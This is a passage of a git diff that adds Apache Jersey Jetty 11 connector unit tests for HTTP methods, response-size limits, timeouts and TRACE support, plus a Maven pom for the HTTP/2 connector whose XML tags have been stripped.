+ }
+
+ @Test
+ public void testDeleteAsync() throws ExecutionException, InterruptedException {
+ Response response = target(PATH).request().async().delete().get();
+ assertEquals("DELETE", response.readEntity(String.class));
+ }
+
+ @Test
+ public void testPatch() {
+ Response response = target(PATH).request().method("PATCH", Entity.entity("PATCH", MediaType.TEXT_PLAIN));
+ assertEquals("PATCH", response.readEntity(String.class));
+ }
+
+ @Test
+ public void testOptionsWithEntity() {
+ Response response = target(PATH).request().build("OPTIONS", Entity.text("OPTIONS")).invoke();
+ assertEquals(200, response.getStatus());
+ response.close();
+ }
+}
diff --git a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/NoEntityTest.java b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/NoEntityTest.java
new file mode 100644
index 00000000000..d4b3f2e2d06
--- /dev/null
+++ b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/NoEntityTest.java
@@ -0,0 +1,102 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.connector;
+
+import java.util.logging.Logger;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.POST;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.client.WebTarget;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.Response;
+import jakarta.ws.rs.core.Response.Status;
+
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+
+import org.junit.jupiter.api.Test;
+
+/**
+ * @author Paul Sandoz
+ * @author Arul Dhesiaseelan (aruld at acm.org)
+ */
+public class NoEntityTest extends JerseyTest {
+ private static final Logger LOGGER = Logger.getLogger(NoEntityTest.class.getName());
+
+ @Path("/test")
+ public static class HttpMethodResource {
+ @GET
+ public Response get() {
+ return Response.status(Status.CONFLICT).build();
+ }
+
+ @POST
+ public void post(String entity) {
+ }
+ }
+
+ @Override
+ protected Application configure() {
+ ResourceConfig config = new ResourceConfig(HttpMethodResource.class);
+ config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+ return config;
+ }
+
+ @Override
+ protected void configureClient(ClientConfig config) {
+ config.connectorProvider(new JettyConnectorProvider());
+ }
+
+ @Test
+ public void testGet() {
+ WebTarget r = target("test");
+
+ for (int i = 0; i < 5; i++) {
+ Response cr = r.request().get();
+ cr.close();
+ }
+ }
+
+ @Test
+ public void testGetWithClose() {
+ WebTarget r = target("test");
+ for (int i = 0; i < 5; i++) {
+ Response cr = r.request().get();
+ cr.close();
+ }
+ }
+
+ @Test
+ public void testPost() {
+ WebTarget r = target("test");
+ for (int i = 0; i < 5; i++) {
+ Response cr = r.request().post(null);
+ }
+ }
+
+ @Test
+ public void testPostWithClose() {
+ WebTarget r = target("test");
+ for (int i = 0; i < 5; i++) {
+ Response cr = r.request().post(null);
+ cr.close();
+ }
+ }
+}
diff --git a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/SyncResponseSizeTest.java b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/SyncResponseSizeTest.java
new file mode 100644
index 00000000000..32c71bb3769
--- /dev/null
+++ b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/SyncResponseSizeTest.java
@@ -0,0 +1,171 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.connector;
+
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.client.ClientProperties;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+import org.junit.jupiter.api.Test;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.ProcessingException;
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.client.WebTarget;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.Response;
+import java.net.URI;
+import java.util.concurrent.ExecutionException;
+import java.util.concurrent.TimeoutException;
+import java.util.logging.Logger;
+
+import static org.hamcrest.CoreMatchers.instanceOf;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.hamcrest.MatcherAssert.assertThat;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+import static org.junit.jupiter.api.Assertions.fail;
+
+/**
+ * Default synchronous jetty client implementation has a hard response size limit of 2MiB.
+ * When response is too big, a processing exception is thrown.
+ * The original code path was left to preserve this behaviour but could be removed
+ * and reworked in the future with a custom listener like async path.
+ *
+ * This tests the previous behavior with large payloads (>2MiB), the new size override (4MiB)
+ * and very big payloads (>4MiB).
+ *
+ * @author cen1 (cen.is.imba at gmail.com)
+ */
+public class SyncResponseSizeTest extends JerseyTest {
+
+ private static final Logger LOGGER = Logger.getLogger(SyncResponseSizeTest.class.getName());
+
+ private static final int maxBufferSize = 4 * 1024 * 1024; //4 MiB
+
+ @Path("/test")
+ public static class TimeoutResource {
+
+ private static final byte[] data = new byte[maxBufferSize];
+
+ static {
+ Byte b = "a".getBytes()[0];
+ for (int i = 0; i < maxBufferSize; i++) data[i] = b.byteValue();
+ }
+
+ @GET
+ @Path("/small")
+ public String getSmall() {
+ return "GET";
+ }
+
+ @GET
+ @Path("/big")
+ public String getBig() {
+ return new String(data);
+ }
+
+ @GET
+ @Path("/verybig")
+ public String getVeryBig() {
+ return new String(data) + "a";
+ }
+ }
+
+ @Override
+ protected Application configure() {
+ ResourceConfig config = new ResourceConfig(TimeoutResource.class);
+ config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+ return config;
+ }
+
+ @Override
+ protected void configureClient(ClientConfig config) {
+ config.connectorProvider(new JettyConnectorProvider());
+ }
+
+ @Test
+ public void testDefaultSmall() {
+ Response r = target("test/small").request().get();
+ assertEquals(200, r.getStatus());
+ assertEquals("GET", r.readEntity(String.class));
+ }
+
+ @Test
+ public void testDefaultTooBig() {
+ final URI u = target().getUri();
+ ClientConfig config = new ClientConfig().property(ClientProperties.READ_TIMEOUT, 1_000);
+ config.connectorProvider(new JettyConnectorProvider());
+
+ Client c = ClientBuilder.newClient(config);
+ WebTarget t = c.target(u);
+ try {
+ t.path("test/big").request().get();
+ fail("Exception expected.");
+ } catch (ProcessingException e) {
+ // Buffering capacity ... exceeded.
+ assertTrue(ExecutionException.class.isInstance(e.getCause()));
+ assertTrue(IllegalArgumentException.class.isInstance(e.getCause().getCause()));
+ } finally {
+ c.close();
+ }
+ }
+
+ @Test
+ public void testCustomBig() {
+ final URI u = target().getUri();
+ ClientConfig config = new ClientConfig().property(ClientProperties.READ_TIMEOUT, 1_000);
+ config.connectorProvider(new JettyConnectorProvider());
+ config.property(JettyClientProperties.SYNC_LISTENER_RESPONSE_MAX_SIZE, maxBufferSize);
+
+ Client c = ClientBuilder.newClient(config);
+ WebTarget t = c.target(u);
+ try {
+ Response r = t.path("test/big").request().get();
+ String p = r.readEntity(String.class);
+ assertEquals(p.length(), maxBufferSize);
+ } catch (ProcessingException e) {
+ assertThat("Unexpected processing exception cause",
+ e.getCause(), instanceOf(TimeoutException.class));
+ } finally {
+ c.close();
+ }
+ }
+
+ @Test
+ public void testCustomTooBig() {
+ final URI u = target().getUri();
+ ClientConfig config = new ClientConfig().property(ClientProperties.READ_TIMEOUT, 1_000);
+ config.connectorProvider(new JettyConnectorProvider());
+ config.property(JettyClientProperties.SYNC_LISTENER_RESPONSE_MAX_SIZE, maxBufferSize);
+
+ Client c = ClientBuilder.newClient(config);
+ WebTarget t = c.target(u);
+ try {
+ t.path("test/verybig").request().get();
+ fail("Exception expected.");
+ } catch (ProcessingException e) {
+ // Buffering capacity ... exceeded.
+ assertTrue(ExecutionException.class.isInstance(e.getCause()));
+ assertTrue(IllegalArgumentException.class.isInstance(e.getCause().getCause()));
+ } finally {
+ c.close();
+ }
+ }
+}
diff --git a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/TimeoutTest.java b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/TimeoutTest.java
new file mode 100644
index 00000000000..cb8d0e28c6f
--- /dev/null
+++ b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/TimeoutTest.java
@@ -0,0 +1,245 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.connector;
+
+import java.net.URI;
+import java.nio.charset.StandardCharsets;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.TimeoutException;
+import java.util.logging.Logger;
+
+import jakarta.ws.rs.DefaultValue;
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.ProcessingException;
+import jakarta.ws.rs.QueryParam;
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.client.WebTarget;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.Response;
+import jakarta.ws.rs.core.StreamingOutput;
+
+import org.glassfish.jersey.CommonProperties;
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.client.ClientProperties;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+
+import org.junit.jupiter.api.Disabled;
+import org.junit.jupiter.api.Test;
+import static org.hamcrest.CoreMatchers.instanceOf;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+import static org.hamcrest.MatcherAssert.assertThat;
+import static org.junit.jupiter.api.Assertions.fail;
+
+/**
+ * @author Martin Matula
+ * @author Arul Dhesiaseelan (aruld at acm.org)
+ */
+public class TimeoutTest extends JerseyTest {
+ private static final Logger LOGGER = Logger.getLogger(TimeoutTest.class.getName());
+
+ @Path("/test")
+ public static class TimeoutResource {
+ @GET
+ public String get() {
+ return "GET";
+ }
+
+ @GET
+ @Path("timeout")
+ public String getTimeout() {
+ try {
+ Thread.sleep(2000);
+ } catch (InterruptedException e) {
+ e.printStackTrace();
+ }
+ return "GET";
+ }
+
+ /**
+ * Long-running streaming request
+ *
+ * @param count number of packets send
+ * @param pauseMillis pause between each packets
+ */
+ @GET
+ @Path("stream")
+ public Response streamsWithDelay(@QueryParam("start") @DefaultValue("0") int startMillis, @QueryParam("count") int count,
+ @QueryParam("pauseMillis") int pauseMillis) {
+ StreamingOutput streamingOutput = streamSlowly(startMillis, count, pauseMillis);
+
+ return Response.ok(streamingOutput)
+ .build();
+ }
+ }
+
+ private static StreamingOutput streamSlowly(int startMillis, int count, int pauseMillis) {
+
+ return output -> {
+ try {
+ TimeUnit.MILLISECONDS.sleep(startMillis);
+ }
+ catch (InterruptedException e) {
+ Thread.currentThread().interrupt();
+ }
+ output.write("begin\n".getBytes(StandardCharsets.UTF_8));
+ output.flush();
+ for (int i = 0; i < count; i++) {
+ try {
+ TimeUnit.MILLISECONDS.sleep(pauseMillis);
+ }
+ catch (InterruptedException e) {
+ Thread.currentThread().interrupt();
+ }
+
+ output.write(("message " + i + "\n").getBytes(StandardCharsets.UTF_8));
+ output.flush();
+ }
+ output.write("end".getBytes(StandardCharsets.UTF_8));
+ };
+ }
+
+ @Override
+ protected Application configure() {
+ ResourceConfig config = new ResourceConfig(TimeoutResource.class);
+ config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+ return config;
+ }
+
+ @Override
+ protected void configureClient(ClientConfig config) {
+ config.connectorProvider(new JettyConnectorProvider());
+ }
+
+ @Test
+ public void testFast() {
+ Response r = target("test").request().get();
+ assertEquals(200, r.getStatus());
+ assertEquals("GET", r.readEntity(String.class));
+ }
+
+ @Test
+ public void testSlow() {
+ final URI u = target().getUri();
+ ClientConfig config = new ClientConfig().property(ClientProperties.READ_TIMEOUT, 1_000);
+ config.connectorProvider(new JettyConnectorProvider());
+ Client c = ClientBuilder.newClient(config);
+ WebTarget t = c.target(u);
+ try {
+ t.path("test/timeout").request().get();
+ fail("Timeout expected.");
+ } catch (ProcessingException e) {
+ assertThat("Unexpected processing exception cause",
+ e.getCause(), instanceOf(TimeoutException.class));
+ } finally {
+ c.close();
+ }
+ }
+
+ @Test
+ public void testTimeoutInRequest() {
+ final URI u = target().getUri();
+ ClientConfig config = new ClientConfig();
+ config.connectorProvider(new JettyConnectorProvider());
+ Client c = ClientBuilder.newClient(config);
+ WebTarget t = c.target(u);
+ try {
+ t.path("test/timeout").request().property(ClientProperties.READ_TIMEOUT, 1_000).get();
+ fail("Timeout expected.");
+ } catch (ProcessingException e) {
+ assertThat("Unexpected processing exception cause",
+ e.getCause(), instanceOf(TimeoutException.class));
+ } finally {
+ c.close();
+ }
+ }
+
+ /**
+ * Test accessing an operation that is streaming slowly
+ *
+ * @throws ProcessingException in case of a test error.
+ */
+ @Test
+ @Disabled("Test fails with grizzly2 container") // TODO: evaluate, why this test fails with grizzly2
+ public void testSlowlyStreamedContentDoesNotReadTimeout() throws Exception {
+
+ int count = 5;
+ int pauseMillis = 50;
+
+ final Response response = target("test")
+ .property(ClientProperties.READ_TIMEOUT, 100L)
+ .property(CommonProperties.OUTBOUND_CONTENT_LENGTH_BUFFER_SERVER, "-1")
+ .path("stream")
+ .queryParam("count", count)
+ .queryParam("pauseMillis", pauseMillis)
+ .request().get();
+
+ assertTrue(response.readEntity(String.class).contains("end"));
+ }
+
+ @Test
+ public void testSlowlyStreamedContentDoesTotalTimeout() throws Exception {
+
+ int count = 5;
+ int pauseMillis = 50;
+
+ try {
+ target("test")
+ .property(JettyClientProperties.TOTAL_TIMEOUT, 100L)
+ .property(CommonProperties.OUTBOUND_CONTENT_LENGTH_BUFFER_SERVER, "-1")
+ .path("stream")
+ .queryParam("count", count)
+ .queryParam("pauseMillis", pauseMillis)
+ .request().get();
+
+ fail("This operation should trigger total timeout");
+ } catch (ProcessingException e) {
+ assertEquals(TimeoutException.class, e.getCause().getClass());
+ }
+ }
+
+ /**
+ * Test accessing an operation that is streaming slowly
+ *
+ * @throws ProcessingException in case of a test error.
+ */
+ @Test
+ public void testSlowToStartStreamedContentDoesReadTimeout() throws Exception {
+
+ int start = 150;
+ int count = 5;
+ int pauseMillis = 50;
+
+ try {
+ target("test")
+ .property(ClientProperties.READ_TIMEOUT, 100L)
+ .property(CommonProperties.OUTBOUND_CONTENT_LENGTH_BUFFER_SERVER, "-1")
+ .path("stream")
+ .queryParam("start", start)
+ .queryParam("count", count)
+ .queryParam("pauseMillis", pauseMillis)
+ .request().get();
+ fail("This operation should trigger idle timeout");
+ } catch (ProcessingException e) {
+ assertEquals(TimeoutException.class, e.getCause().getClass());
+ }
+ }
+}
diff --git a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/TraceSupportTest.java b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/TraceSupportTest.java
new file mode 100644
index 00000000000..a7661cb5a21
--- /dev/null
+++ b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/TraceSupportTest.java
@@ -0,0 +1,235 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.connector;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+import java.util.List;
+import java.util.Map;
+import java.util.logging.Logger;
+
+import jakarta.ws.rs.HttpMethod;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.Produces;
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.client.Entity;
+import jakarta.ws.rs.client.WebTarget;
+import jakarta.ws.rs.container.ContainerRequestContext;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.MediaType;
+import jakarta.ws.rs.core.Request;
+import jakarta.ws.rs.core.Response;
+
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.process.Inflector;
+import org.glassfish.jersey.server.ContainerRequest;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.server.model.Resource;
+import org.glassfish.jersey.test.JerseyTest;
+
+import org.junit.jupiter.api.Test;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+import static org.junit.jupiter.api.Assertions.fail;
+
+/**
+ * This very basic resource showcases support of a HTTP TRACE method,
+ * not directly supported by JAX-RS API.
+ *
+ * @author Marek Potociar
+ */
+public class TraceSupportTest extends JerseyTest {
+
+ private static final Logger LOGGER = Logger.getLogger(TraceSupportTest.class.getName());
+
+ /**
+ * Programmatic tracing root resource path.
+ */
+ public static final String ROOT_PATH_PROGRAMMATIC = "tracing/programmatic";
+
+ /**
+ * Annotated class-based tracing root resource path.
+ */
+ public static final String ROOT_PATH_ANNOTATED = "tracing/annotated";
+
+ @HttpMethod(TRACE.NAME)
+ @Target(ElementType.METHOD)
+ @Retention(RetentionPolicy.RUNTIME)
+ public @interface TRACE {
+ public static final String NAME = "TRACE";
+ }
+
+ @Path(ROOT_PATH_ANNOTATED)
+ public static class TracingResource {
+
+ @TRACE
+ @Produces("text/plain")
+ public String trace(Request request) {
+ return stringify((ContainerRequest) request);
+ }
+ }
+
+ @Override
+ protected Application configure() {
+ ResourceConfig config = new ResourceConfig(TracingResource.class);
+ config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+ final Resource.Builder resourceBuilder = Resource.builder(ROOT_PATH_PROGRAMMATIC);
+ resourceBuilder.addMethod(TRACE.NAME).handledBy(new Inflector() {
+
+ @Override
+ public Response apply(ContainerRequestContext request) {
+ if (request == null) {
+ return Response.noContent().build();
+ } else {
+ return Response.ok(stringify((ContainerRequest) request), MediaType.TEXT_PLAIN).build();
+ }
+ }
+ });
+
+ return config.registerResources(resourceBuilder.build());
+
+ }
+
+ private String[] expectedFragmentsProgrammatic = new String[]{
+ "TRACE http://localhost:" + this.getPort() + "/tracing/programmatic"
+ };
+ private String[] expectedFragmentsAnnotated = new String[]{
+ "TRACE http://localhost:" + this.getPort() + "/tracing/annotated"
+ };
+
+ private WebTarget prepareTarget(String path) {
+ final WebTarget target = target();
+ target.register(LoggingFeature.class);
+ return target.path(path);
+ }
+
+ @Test
+ public void testProgrammaticApp() throws Exception {
+ Response response = prepareTarget(ROOT_PATH_PROGRAMMATIC).request("text/plain").method(TRACE.NAME);
+
+ assertEquals(Response.Status.OK.getStatusCode(), response.getStatusInfo().getStatusCode());
+
+ String responseEntity = response.readEntity(String.class);
+ for (String expectedFragment : expectedFragmentsProgrammatic) {
+ assertTrue(// toLowerCase - http header field names are case insensitive
+ responseEntity.contains(expectedFragment),
+ "Expected fragment '" + expectedFragment + "' not found in response:\n" + responseEntity);
+ }
+ }
+
+ @Test
+ public void testAnnotatedApp() throws Exception {
+ Response response = prepareTarget(ROOT_PATH_ANNOTATED).request("text/plain").method(TRACE.NAME);
+
+ assertEquals(Response.Status.OK.getStatusCode(), response.getStatusInfo().getStatusCode());
+
+ String responseEntity = response.readEntity(String.class);
+ for (String expectedFragment : expectedFragmentsAnnotated) {
+ assertTrue(// toLowerCase - http header field names are case insensitive
+ responseEntity.contains(expectedFragment),
+ "Expected fragment '" + expectedFragment + "' not found in response:\n" + responseEntity);
+ }
+ }
+
+ @Test
+ public void testTraceWithEntity() throws Exception {
+ _testTraceWithEntity(false, false);
+ }
+
+ @Test
+ public void testAsyncTraceWithEntity() throws Exception {
+ _testTraceWithEntity(true, false);
+ }
+
+ @Test
+ public void testTraceWithEntityJettyConnector() throws Exception {
+ _testTraceWithEntity(false, true);
+ }
+
+ @Test
+ public void testAsyncTraceWithEntityJettyConnector() throws Exception {
+ _testTraceWithEntity(true, true);
+ }
+
+ private void _testTraceWithEntity(final boolean isAsync, final boolean useJettyConnection) throws Exception {
+ try {
+ WebTarget target = useJettyConnection ? getJettyClient().target(target().getUri()) : target();
+ target = target.path(ROOT_PATH_ANNOTATED);
+
+ final Entity entity = Entity.entity("trace", MediaType.WILDCARD_TYPE);
+
+ Response response;
+ if (!isAsync) {
+ response = target.request().method(TRACE.NAME, entity);
+ } else {
+ response = target.request().async().method(TRACE.NAME, entity).get();
+ }
+
+ fail("A TRACE request MUST NOT include an entity. (response=" + response + ")");
+ } catch (Exception e) {
+ // OK
+ }
+ }
+
+ private Client getJettyClient() {
+ return ClientBuilder.newClient(new ClientConfig().connectorProvider(new JettyConnectorProvider()));
+ }
+
+
+ public static String stringify(ContainerRequest request) {
+ StringBuilder buffer = new StringBuilder();
+
+ printRequestLine(buffer, request);
+ printPrefixedHeaders(buffer, request.getHeaders());
+
+ if (request.hasEntity()) {
+ buffer.append(request.readEntity(String.class)).append("\n");
+ }
+
+ return buffer.toString();
+ }
+
+ private static void printRequestLine(StringBuilder buffer, ContainerRequest request) {
+ buffer.append(request.getMethod()).append(" ").append(request.getUriInfo().getRequestUri().toASCIIString()).append("\n");
+ }
+
+ private static void printPrefixedHeaders(StringBuilder buffer, Map> headers) {
+ for (Map.Entry> e : headers.entrySet()) {
+ List val = e.getValue();
+ String header = e.getKey();
+
+ if (val.size() == 1) {
+ buffer.append(header).append(": ").append(val.get(0)).append("\n");
+ } else {
+ StringBuilder sb = new StringBuilder();
+ boolean add = false;
+ for (String s : val) {
+ if (add) {
+ sb.append(',');
+ }
+ add = true;
+ sb.append(s);
+ }
+ buffer.append(header).append(": ").append(sb.toString()).append("\n");
+ }
+ }
+ }
+}
diff --git a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/UnderlyingHttpClientAccessTest.java b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/UnderlyingHttpClientAccessTest.java
new file mode 100644
index 00000000000..7802e458a78
--- /dev/null
+++ b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/UnderlyingHttpClientAccessTest.java
@@ -0,0 +1,72 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.connector;
+
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.client.WebTarget;
+
+import org.glassfish.jersey.client.ClientConfig;
+
+import org.eclipse.jetty.client.HttpClient;
+import org.junit.jupiter.api.Test;
+
+import static org.hamcrest.CoreMatchers.is;
+import static org.junit.jupiter.api.Assertions.assertNotNull;
+import static org.junit.jupiter.api.Assertions.assertSame;
+import static org.hamcrest.MatcherAssert.assertThat;
+
+/**
+ * Test of access to the underlying HTTP client instance used by the connector.
+ *
+ * @author Marek Potociar
+ */
+public class UnderlyingHttpClientAccessTest {
+
+ /**
+ * Verifier of JERSEY-2424 fix.
+ */
+ @Test
+ public void testHttpClientInstanceAccess() {
+ final Client client = ClientBuilder.newClient(new ClientConfig().connectorProvider(new JettyConnectorProvider()));
+ final HttpClient hcOnClient = JettyConnectorProvider.getHttpClient(client);
+ // important: the web target instance in this test must be only created AFTER the client has been pre-initialized
+ // (see org.glassfish.jersey.client.Initializable.preInitialize method). This is here achieved by calling the
+ // connector provider's static getHttpClient method above.
+ final WebTarget target = client.target("http://localhost/");
+ final HttpClient hcOnTarget = JettyConnectorProvider.getHttpClient(target);
+
+ assertNotNull(hcOnClient, "HTTP client instance set on JerseyClient should not be null.");
+ assertNotNull(hcOnTarget, "HTTP client instance set on JerseyWebTarget should not be null.");
+ assertSame(hcOnClient, hcOnTarget, "HTTP client instance set on JerseyClient should be the same instance as the one "
+ + "set on JerseyWebTarget (provided the target instance has not been further configured).");
+ }
+
+ @Test
+ public void testGetProvidedClientInstance() {
+ final HttpClient httpClient = new HttpClient();
+ final ClientConfig clientConfig = new ClientConfig()
+ .connectorProvider(new JettyConnectorProvider())
+ .register(new JettyHttpClientSupplier(httpClient));
+ final Client client = ClientBuilder.newClient(clientConfig);
+ final WebTarget target = client.target("http://localhost/");
+ final HttpClient hcOnTarget = JettyConnectorProvider.getHttpClient(target);
+
+ assertThat("Instance provided to a ClientConfig differs from instance provided by JettyProvider",
+ httpClient, is(hcOnTarget));
+ }
+}
diff --git a/connectors/jetty11-http2-connector/pom.xml b/connectors/jetty11-http2-connector/pom.xml
new file mode 100644
index 00000000000..c3633ed7b1e
--- /dev/null
+++ b/connectors/jetty11-http2-connector/pom.xml
@@ -0,0 +1,187 @@
+
+
+
+
+ 4.0.0
+
+
+ org.glassfish.jersey.connectors
+ project
+ 3.1.99-SNAPSHOT
+
+
+ jersey-jetty11-http2-connector
+ jar
+ jersey-connectors-jetty11-http2
+
+ Jersey Client Transport via Jetty 11
+
+
+ UTF-8
+ ${project.basedir}/target
+ ${project.basedir}/src/main/java8
+ ${project.basedir}/target11
+ ${project.basedir}/src/main/java11
+
+
+
+
+
+ org.eclipse.jetty
+ jetty-server
+ ${jetty11.version}
+
+
+ org.eclipse.jetty
+ jetty-client
+ ${jetty11.version}
+
+
+ org.eclipse.jetty
+ jetty-util
+ ${jetty11.version}
+
+
+ org.eclipse.jetty.http2
+ http2-server
+ ${jetty11.version}
+
+
+ org.eclipse.jetty
+ jetty-alpn-conscrypt-server
+ ${jetty11.version}
+
+
+ org.eclipse.jetty.http2
+ http2-client
+ ${jetty11.version}
+
+
+ org.eclipse.jetty.http2
+ http2-http-client-transport
+ ${jetty11.version}
+
+
+
+
+
+
+ org.eclipse.jetty
+ jetty-client
+ ${jetty11.version}
+
+
+ org.eclipse.jetty.http2
+ http2-client
+ ${jetty11.version}
+
+
+ org.eclipse.jetty.http2
+ http2-http-client-transport
+ ${jetty11.version}
+
+
+ org.eclipse.jetty
+ jetty-util
+ ${jetty11.version}
+
+
+
+ org.glassfish.jersey.connectors
+ jersey-jetty11-connector
+ ${project.version}
+
+
+ org.eclipse.jetty
+ jetty-client
+
+
+
+
+
+ org.glassfish.jersey.media
+ jersey-media-jaxb
+ ${project.version}
+ test
+
+
+
+ org.glassfish.jersey.containers
+ jersey-container-jetty11-http2
+ ${project.version}
+ test
+
+
+ org.eclipse.jetty
+ http2-server
+
+
+
+
+ org.glassfish.jersey.media
+ jersey-media-json-jackson
+ ${project.version}
+ test
+
+
+ org.glassfish.jersey.test-framework.providers
+ jersey-test-framework-provider-jetty11-http2
+ ${project.version}
+ test
+
+
+ com.sun.xml.bind
+ jaxb-osgi
+ test
+
+
+
+
+
+
+ com.sun.istack
+ istack-commons-maven-plugin
+ true
+
+
+ org.codehaus.mojo
+ build-helper-maven-plugin
+ true
+
+
+ org.apache.maven.plugins
+ maven-compiler-plugin
+
+
+ org.apache.felix
+ maven-bundle-plugin
+ true
+
+
+
+ ${jetty.osgi.version},
+ *
+
+
+
+
+
+
+
+
\ No newline at end of file
